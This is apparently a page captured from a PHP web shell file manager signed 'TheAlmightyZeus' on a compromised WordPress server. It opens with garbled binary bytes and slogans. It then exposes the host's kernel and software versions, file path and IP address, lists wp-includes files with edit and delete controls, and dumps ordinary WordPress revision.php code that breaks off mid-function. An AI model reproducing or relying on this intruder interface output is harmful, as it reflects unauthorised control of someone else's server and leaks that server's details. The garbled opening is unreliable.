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tEs#678PI:e5n$i0ScudA F(ET lq{讬3 28xۆ1IPԲ v0r$0{[J*cyA 1OQ-3f5;׆!`;mV[g{*d$221VR8jk.aH)7c=BO>~ T77XӇʧ _NاVV:Gye)NKk Ǵ`ՏS=Wy\cu`}@8C2su XqC Պ̜xEU ڭ{$KόI@F؛NLOA$F[X2rĔG L\wE2J3S8IJ2e`A7),b +noĐ<{XA"Lj%W̮RI7=e0O {F 3t6ǽN7aNHmo!_5G/GGz`ǻwl${wzd2X,!a/@X{wh]S MARIJUANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux vps-ed8565de 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
  SOFT : Apache/2.4.65 (Debian) PHP : 7.4.33
/var/www/espace_prive/site/wp-includes/
51.178.36.14

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
ID3 dir drwxr-xr-x 2022-04-19 07:53 R D
IXR dir drwxr-xr-x 2022-04-19 07:53 R D
Requests dir drwxr-xr-x 2022-04-19 07:53 R D
SimplePie dir drwxr-xr-x 2022-04-19 07:53 R D
Text dir drwxr-xr-x 2022-04-19 07:53 R D
blocks dir drwxr-xr-x 2022-04-19 07:53 R D
certificates dir drwxr-xr-x 2022-04-19 07:53 R D
css dir drwxr-xr-x 2022-04-19 07:53 R D
customize dir drwxr-xr-x 2022-04-19 07:53 R D
fonts dir drwxr-xr-x 2022-04-19 07:53 R D
images dir drwxr-xr-x 2022-04-19 07:53 R D
js dir drwxr-xr-x 2022-04-19 07:53 R D
pomo dir drwxr-xr-x 2022-04-19 07:53 R D
random_compat dir drwxr-xr-x 2022-04-19 07:53 R D
rest-api dir drwxr-xr-x 2022-04-19 07:53 R D
theme-compat dir drwxr-xr-x 2022-04-19 07:53 R D
widgets dir drwxr-xr-x 2022-04-19 07:53 R D
admin-bar.php 28.191 KB -rw-r--r-- 2022-04-19 07:53 R E G D
atomlib.php 11.562 KB -rw-r--r-- 2022-04-19 07:53 R E G D
author-template.php 15.971 KB -rw-r--r-- 2022-04-19 07:53 R E G D
blocks.php 8.131 KB -rw-r--r-- 2022-04-19 07:53 R E G D
bookmark-template.php 11.425 KB -rw-r--r-- 2022-04-19 07:53 R E G D
bookmark.php 13.352 KB -rw-r--r-- 2022-04-19 07:53 R E G D
cache.php 21.095 KB -rw-r--r-- 2022-04-19 07:53 R E G D
canonical.php 26.937 KB -rw-r--r-- 2022-04-19 07:53 R E G D
capabilities.php 27.978 KB -rw-r--r-- 2022-04-19 07:53 R E G D
category-template.php 50.545 KB -rw-r--r-- 2022-04-19 07:53 R E G D
category.php 11.703 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-IXR.php 2.513 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-feed.php 0.51 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-http.php 35.316 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-json.php 39.523 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-oembed.php 32.371 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-phpass.php 7.146 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-phpmailer.php 143.344 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-pop3.php 20.429 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-requests.php 29.092 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-simplepie.php 87.172 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-smtp.php 38.553 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-snoopy.php 36.899 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-walker-category-dropdown.php 2.05 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-walker-category.php 6.49 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-walker-comment.php 10.911 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-walker-nav-menu.php 8.195 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-walker-page-dropdown.php 2.226 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-walker-page.php 6.556 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-admin-bar.php 16.571 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-ajax-response.php 4.906 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-block-parser.php 13.395 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-block-type-registry.php 4.633 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-block-type.php 4.702 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-comment-query.php 40.801 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-comment.php 8.727 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-control.php 24.398 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-manager.php 192.63 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-nav-menus.php 52.306 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-panel.php 9.352 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-section.php 9.958 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-setting.php 27.473 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-customize-widgets.php 64.197 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-dependency.php 1.945 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-editor.php 59.461 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-embed.php 14.169 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-error.php 4.478 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-feed-cache-transient.php 2.478 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-feed-cache.php 0.728 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-hook.php 13.723 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-cookie.php 6.305 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-curl.php 11.405 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-encoding.php 6.293 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-ixr-client.php 3.174 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-proxy.php 5.817 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-requests-hooks.php 1.828 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-requests-response.php 4.173 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-response.php 2.804 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-http-streams.php 14.644 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-image-editor-gd.php 12.618 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-image-editor-imagick.php 21.168 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-image-editor.php 11.455 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-list-util.php 6.22 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-locale-switcher.php 4.888 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-locale.php 14.206 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-matchesmapregex.php 1.754 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-meta-query.php 21.732 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-metadata-lazyloader.php 5.246 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-network-query.php 16.758 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-network.php 11.845 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-oembed-controller.php 5.805 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-post-type.php 17.809 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-post.php 6.206 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-query.php 121.292 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-rewrite.php 57.527 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-role.php 2.553 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-roles.php 7.995 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-session-tokens.php 7.166 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-simplepie-file.php 2.219 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-simplepie-sanitize-kses.php 1.732 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-site-query.php 22.677 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-site.php 7.146 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-tax-query.php 18.749 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-taxonomy.php 9.759 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-term-query.php 33.366 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-term.php 5.149 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-text-diff-renderer-inline.php 0.695 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-text-diff-renderer-table.php 15.801 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-theme.php 46.798 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-user-meta-session-tokens.php 2.848 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-user-query.php 28.833 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-user.php 20.194 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-walker.php 12.088 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-widget-factory.php 3.658 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-widget.php 17.244 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp-xmlrpc-server.php 196.901 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class-wp.php 23.196 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class.wp-dependencies.php 10.923 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class.wp-scripts.php 16.363 KB -rw-r--r-- 2022-04-19 07:53 R E G D
class.wp-styles.php 9.564 KB -rw-r--r-- 2022-04-19 07:53 R E G D
comment-template.php 86.59 KB -rw-r--r-- 2022-04-19 07:53 R E G D
comment.php 108.677 KB -rw-r--r-- 2022-04-19 07:53 R E G D
compat.php 15.846 KB -rw-r--r-- 2022-04-19 07:53 R E G D
cron.php 16.081 KB -rw-r--r-- 2022-04-19 07:53 R E G D
date.php 34.18 KB -rw-r--r-- 2022-04-19 07:53 R E G D
default-constants.php 9.337 KB -rw-r--r-- 2022-04-19 07:53 R E G D
default-filters.php 28.264 KB -rw-r--r-- 2022-04-19 07:53 R E G D
default-widgets.php 2.129 KB -rw-r--r-- 2022-04-19 07:53 R E G D
deprecated.php 111.021 KB -rw-r--r-- 2022-04-19 07:53 R E G D
embed-template.php 0.336 KB -rw-r--r-- 2022-04-19 07:53 R E G D
embed.php 43.794 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed-atom-comments.php 5.231 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed-atom.php 3.018 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed-rdf.php 2.607 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed-rss.php 1.217 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed-rss2-comments.php 3.969 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed-rss2.php 3.685 KB -rw-r--r-- 2022-04-19 07:53 R E G D
feed.php 19.092 KB -rw-r--r-- 2022-04-19 07:53 R E G D
formatting.php 264.881 KB -rw-r--r-- 2022-04-19 07:53 R E G D
functions.php 183.858 KB -rw-r--r-- 2022-04-19 07:53 R E G D
functions.wp-scripts.php 12.244 KB -rw-r--r-- 2022-04-19 07:53 R E G D
functions.wp-styles.php 7.891 KB -rw-r--r-- 2022-04-19 07:53 R E G D
general-template.php 136.684 KB -rw-r--r-- 2022-04-19 07:53 R E G D
http.php 21.654 KB -rw-r--r-- 2022-04-19 07:53 R E G D
kses.php 51.487 KB -rw-r--r-- 2022-04-19 07:53 R E G D
l10n.php 46.727 KB -rw-r--r-- 2022-04-19 07:53 R E G D
link-template.php 133.255 KB -rw-r--r-- 2022-04-19 07:53 R E G D
load.php 34.067 KB -rw-r--r-- 2022-04-19 07:53 R E G D
locale.php 0.138 KB -rw-r--r-- 2022-04-19 07:53 R E G D
media-template.php 45.361 KB -rw-r--r-- 2022-04-19 07:53 R E G D
media.php 137.07 KB -rw-r--r-- 2022-04-19 07:53 R E G D
meta.php 44.435 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-blogs.php 38.263 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-default-constants.php 4.604 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-default-filters.php 4.544 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-deprecated.php 15.317 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-files.php 2.559 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-functions.php 88.995 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-load.php 18.797 KB -rw-r--r-- 2022-04-19 07:53 R E G D
ms-settings.php 3.992 KB -rw-r--r-- 2022-04-19 07:53 R E G D
nav-menu-template.php 20.382 KB -rw-r--r-- 2022-04-19 07:53 R E G D
nav-menu.php 38.824 KB -rw-r--r-- 2022-04-19 07:53 R E G D
option.php 66.156 KB -rw-r--r-- 2022-04-19 07:53 R E G D
pluggable-deprecated.php 6.115 KB -rw-r--r-- 2022-04-19 07:53 R E G D
pluggable.php 90.186 KB -rw-r--r-- 2022-04-19 07:53 R E G D
plugin.php 30.935 KB -rw-r--r-- 2022-04-19 07:53 R E G D
post-formats.php 6.813 KB -rw-r--r-- 2022-04-19 07:53 R E G D
post-template.php 57.889 KB -rw-r--r-- 2022-04-19 07:53 R E G D
post-thumbnail-template.php 8.246 KB -rw-r--r-- 2022-04-19 07:53 R E G D
post.php 219.274 KB -rw-r--r-- 2022-04-19 07:53 R E G D
query.php 30.762 KB -rw-r--r-- 2022-04-19 07:53 R E G D
registration-functions.php 0.174 KB -rw-r--r-- 2022-04-19 07:53 R E G D
registration.php 0.174 KB -rw-r--r-- 2022-04-19 07:53 R E G D
rest-api.php 40.237 KB -rw-r--r-- 2022-04-19 07:53 R E G D
revision.php 20.806 KB -rw-r--r-- 2022-04-19 07:53 R E G D
rewrite.php 17.092 KB -rw-r--r-- 2022-04-19 07:53 R E G D
rss-functions.php 0.187 KB -rw-r--r-- 2022-04-19 07:53 R E G D
rss.php 22.664 KB -rw-r--r-- 2022-04-19 07:53 R E G D
script-loader.php 100.911 KB -rw-r--r-- 2022-04-19 07:53 R E G D
session.php 0.236 KB -rw-r--r-- 2022-04-19 07:53 R E G D
shortcodes.php 19.962 KB -rw-r--r-- 2022-04-19 07:53 R E G D
spl-autoload-compat.php 2.514 KB -rw-r--r-- 2022-04-19 07:53 R E G D
taxonomy.php 147.405 KB -rw-r--r-- 2022-04-19 07:53 R E G D
template-loader.php 2.828 KB -rw-r--r-- 2022-04-19 07:53 R E G D
template.php 19.328 KB -rw-r--r-- 2022-04-19 07:53 R E G D
theme.php 97.746 KB -rw-r--r-- 2022-04-19 07:53 R E G D
update.php 24.112 KB -rw-r--r-- 2022-04-19 07:53 R E G D
user.php 118.627 KB -rw-r--r-- 2022-04-19 07:53 R E G D
vars.php 5.451 KB -rw-r--r-- 2022-04-19 07:53 R E G D
version.php 0.632 KB -rw-r--r-- 2022-04-19 07:53 R E G D
widgets.php 54.824 KB -rw-r--r-- 2022-04-19 07:53 R E G D
wlwmanifest.xml 1.021 KB -rw-r--r-- 2022-04-19 07:53 R E G D
wp-db.php 97.23 KB -rw-r--r-- 2022-04-19 07:53 R E G D
wp-diff.php 0.646 KB -rw-r--r-- 2022-04-19 07:53 R E G D
REQUEST EXIT
©TheAlmightyZeus
__( 'Title' ), 'post_content' => __( 'Content' ), 'post_excerpt' => __( 'Excerpt' ), ); } /** * Filters the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * @since 4.5.0 The `$post` parameter was added. * * @param array $fields List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. * @param array $post A post array being processed for insertion as a post revision. */ $fields = apply_filters( '_wp_post_revision_fields', $fields, $post ); // WP uses these internally either in versioning or elsewhere - they cannot be versioned foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) { unset( $fields[ $protect ] ); } return $fields; } /** * Returns a post array ready to be inserted into the posts table as a post revision. * * @since 4.5.0 * @access private * * @param array|WP_Post $post Optional. A post array or a WP_Post object to be processed * for insertion as a post revision. Default empty array. * @param bool $autosave Optional. Is the revision an autosave? Default false. * @return array Post array ready to be inserted as a post revision. */ function _wp_post_revision_data( $post = array(), $autosave = false ) { if ( ! is_array( $post ) ) { $post = get_post( $post, ARRAY_A ); } $fields = _wp_post_revision_fields( $post ); $revision_data = array(); foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) { $revision_data[ $field ] = $post[ $field ]; } $revision_data['post_parent'] = $post['ID']; $revision_data['post_status'] = 'inherit'; $revision_data['post_type'] = 'revision'; $revision_data['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version $revision_data['post_date'] = isset( $post['post_modified'] ) ? $post['post_modified'] : ''; $revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : ''; return $revision_data; } /** * Creates a revision for the current version of a post. * * Typically used immediately after a post update, as every update is a revision, * and the most recent revision always matches the current post. * * @since 2.6.0 * * @param int $post_id The ID of the post to save as a revision. * @return int|WP_Error|void Void or 0 if error, new revision ID, if success. */ function wp_save_post_revision( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! $post = get_post( $post_id ) ) return; if ( ! post_type_supports( $post->post_type, 'revisions' ) ) return; if ( 'auto-draft' == $post->post_status ) return; if ( ! wp_revisions_enabled( $post ) ) return; // Compare the proposed update with the last stored revision verifying that // they are different, unless a plugin tells us to always save regardless. // If no previous revisions, save one if ( $revisions = wp_get_post_revisions( $post_id ) ) { // grab the last revision, but not an autosave foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) { $last_revision = $revision; break; } } /** * Filters whether the post has changed since the last revision. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter can override that so a revision is saved even if nothing has changed. * * @since 3.6.0 * * @param bool $check_for_changes Whether to check for changes before saving a new revision. * Default true. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * */ if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', $check_for_changes = true, $last_revision, $post ) ) { $post_has_changed = false; foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) { if ( normalize_whitespace( $post->$field ) != normalize_whitespace( $last_revision->$field ) ) { $post_has_changed = true; break; } } /** * Filters whether a post has changed. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter allows for additional checks to determine if there were changes. * * @since 4.1.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * */ $post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post ); //don't save revision if post unchanged if ( ! $post_has_changed ) { return; } } } $return = _wp_put_post_revision( $post ); // If a limit for the number of revisions to keep has been set, // delete the oldest ones. $revisions_to_keep = wp_revisions_to_keep( $post ); if ( $revisions_to_keep < 0 ) return $return; $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); $delete = count($revisions) - $revisions_to_keep; if ( $delete < 1 ) return $return; $revisions = array_slice( $revisions, 0, $delete ); for ( $i = 0; isset( $revisions[$i] ); $i++ ) { if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) ) continue; wp_delete_post_revision( $revisions[ $i ]->ID ); } return $return; } /** * Retrieve the autosaved data of the specified post. * * Returns a post object containing the information that was autosaved for the * specified post. If the optional $user_id is passed, returns the autosave for that user * otherwise returns the latest autosave. * * @since 2.6.0 * * @param int $post_id The post ID. * @param int $user_id Optional The post author ID. * @return WP_Post|false The autosaved data or false on failure or when no autosave exists. */ function wp_get_post_autosave( $post_id, $user_id = 0 ) { $revisions = wp_get_post_revisions( $post_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$post_id}-autosave" ) ) { if ( $user_id && $user_id != $revision->post_author ) continue; return $revision; } } return false; } /** * Determines if the specified post is a revision. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @return false|int False if not a revision, ID of revision's parent otherwise. */ function wp_is_post_revision( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; return (int) $post->post_parent; } /** * Determines if the specified post is an autosave. * * @since 2.6.0 * * @param int|WP_Post $post Post ID or post object. * @return false|int False if not a revision, ID of autosave's parent otherwise */ function wp_is_post_autosave( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) ) return (int) $post->post_parent; return false; } /** * Inserts post data into the posts table as a post revision. * * @since 2.6.0 * @access private * * @param int|WP_Post|array|null $post Post ID, post object OR post array. * @param bool $autosave Optional. Is the revision an autosave? * @return int|WP_Error WP_Error or 0 if error, new revision ID if success. */ function _wp_put_post_revision( $post = null, $autosave = false ) { if ( is_object($post) ) $post = get_object_vars( $post ); elseif ( !is_array($post) ) $post = get_post($post, ARRAY_A); if ( ! $post || empty($post['ID']) ) return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); if ( isset($post['post_type']) && 'revision' == $post['post_type'] ) return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); $post = _wp_post_revision_data( $post, $autosave ); $post = wp_slash($post); //since data is from db $revision_id = wp_insert_post( $post ); if ( is_wp_error($revision_id) ) return $revision_id; if ( $revision_id ) { /** * Fires once a revision has been saved. * * @since 2.6.0 * * @param int $revision_id Post revision ID. */ do_action( '_wp_put_post_revision', $revision_id ); } return $revision_id; } /** * Gets a post revision. * * @since 2.6.0 * * @param int|WP_Post $post The post ID or object. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT. * @param string $filter Optional sanitation filter. See sanitize_post(). * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. */ function wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') { if ( !$revision = get_post( $post, OBJECT, $filter ) ) return $revision; if ( 'revision' !== $revision->post_type ) return null; if ( $output == OBJECT ) { return $revision; } elseif ( $output == ARRAY_A ) { $_revision = get_object_vars($revision); return $_revision; } elseif ( $output == ARRAY_N ) { $_revision = array_values(get_object_vars($revision)); return $_revision; } return $revision; } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|WP_Post $revision_id Revision ID or revision object. * @param array $fields Optional. What fields to restore from. Defaults to all. * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success. */ function wp_restore_post_revision( $revision_id, $fields = null ) { if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) ) return $revision; if ( !is_array( $fields ) ) $fields = array_keys( _wp_post_revision_fields( $revision ) ); $update = array(); foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) { $update[$field] = $revision[$field]; } if ( !$update ) return false; $update['ID'] = $revision['post_parent']; $update = wp_slash( $update ); //since data is from db $post_id = wp_update_post( $update ); if ( ! $post_id || is_wp_error( $post_id ) ) return $post_id; // Update last edit user update_post_meta( $post_id, '_edit_last', get_current_user_id() ); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $post_id Post ID. * @param int $revision_id Post revision ID. */ do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); return $post_id; } /** * Deletes a revision. * * Deletes the row from the posts table corresponding to the specified revision. * * @since 2.6.0 * * @param int|WP_Post $revision_id Revision ID or revision object. * @return array|false|WP_Post|WP_Error|null Null or WP_Error if error, deleted post if success. */ function wp_delete_post_revision( $revision_id ) { if ( ! $revision = wp_get_post_revision( $revision_id ) ) { return $revision; } $delete = wp_delete_post( $revision->ID ); if ( $delete ) { /** * Fires once a post revision has been deleted. * * @since 2.6.0 * * @param int $revision_id Post revision ID. * @param object|array $revision Post revision object or array. */ do_action( 'wp_delete_post_revision', $revision->ID, $revision ); } return $delete; } /** * Returns all revisions of specified post. * * @since 2.6.0 * * @see get_children() * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global `$post`. * @param array|null $args Optional. Arguments for retrieving post revisions. Default null. * @return array An array of revisions, or an empty array if none. */ function wp_get_post_revisions( $post_id = 0, $args = null ) { $post = get_post( $post_id ); if ( ! $post || empty( $post->ID ) ) return array(); $defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true ); $args = wp_parse_args( $args, $defaults ); if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) return array(); $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) ); if ( ! $revisions = get_children( $args ) ) return array(); return $revisions; } /** * Determine if revisions are enabled for a given post. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return bool True if number of revisions to keep isn't zero, false otherwise. */ function wp_revisions_enabled( $post ) { return wp_revisions_to_keep( $post ) !== 0; } /** * Determine how many revisions to retain for a given post. * * By default, an infinite number of revisions are kept. * * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit * of revisions to keep. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return int The number of revisions to keep. */ function wp_revisions_to_keep( $post ) { $num = WP_POST_REVISIONS; if ( true === $num ) $num = -1; else $num = intval( $num ); if ( ! post_type_supports( $post->post_type, 'revisions' ) ) $num = 0; /** * Filters the number of revisions to save for the given post. * * Overrides the value of WP_POST_REVISIONS. * * @since 3.6.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ return (int) apply_filters( 'wp_revisions_to_keep', $num, $post ); } /** * Sets up the post object for preview based on the post autosave. * * @since 2.7.0 * @access private * * @param WP_Post $post * @return WP_Post|false */ function _set_preview( $post ) { if ( ! is_object( $post ) ) { return $post; } $preview = wp_get_post_autosave( $post->ID ); if ( ! is_object( $preview ) ) { return $post; } $preview = sanitize_post( $preview ); $post->post_content = $preview->post_content; $post->post_title = $preview->post_title; $post->post_excerpt = $preview->post_excerpt; add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 ); add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 ); return $post; } /** * Filters the latest content for preview from the post autosave. * * @since 2.7.0 * @access private */ function _show_post_preview() { if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) { $id = (int) $_GET['preview_id']; if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) wp_die( __('Sorry, you are not allowed to preview drafts.') ); add_filter('the_preview', '_set_preview'); } } /** * Filters terms lookup to set the post format. * * @since 3.6.0 * @access private * * @param array $terms * @param int $post_id * @param string $taxonomy * @return array */ function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) { if ( ! $post = get_post() ) return $terms; if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' != $taxonomy || 'revision' == $post->post_type ) return $terms; if ( 'standard' == $_REQUEST['post_format'] ) $terms = array(); elseif ( $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ) ) $terms = array( $term ); // Can only have one post format return $terms; } /** * Filters post thumbnail lookup to set the post thumbnail. * * @since 4.6.0 * @access private * * @param null|array|string $value The value to return - a single metadata value, or an array of values. * @param int $post_id Post ID. * @param string $meta_key Meta key. * @return null|array The default return value or the post thumbnail meta array. */ function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) { if ( ! $post = get_post() ) { return $value; } if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] ) || $post->ID != $post_id || '_thumbnail_id' != $meta_key || 'revision' == $post->post_type || $post_id != $_REQUEST['preview_id'] ) { return $value; } $thumbnail_id = intval( $_REQUEST['_thumbnail_id'] ); if ( $thumbnail_id <= 0 ) { return ''; } return strval( $thumbnail_id ); } /** * Gets the post revision version. * * @since 3.6.0 * @access private * * @param WP_Post $revision * @return int|false */ function _wp_get_post_revision_version( $revision ) { if ( is_object( $revision ) ) $revision = get_object_vars( $revision ); elseif ( !is_array( $revision ) ) return false; if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) return (int) $matches[1]; return 0; } /** * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1 * * @since 3.6.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Post $post Post object * @param array $revisions Current revisions of the post * @return bool true if the revisions were upgraded, false if problems */ function _wp_upgrade_revisions_of_post( $post, $revisions ) { global $wpdb; // Add post option exclusively $lock = "revision-upgrade-{$post->ID}"; 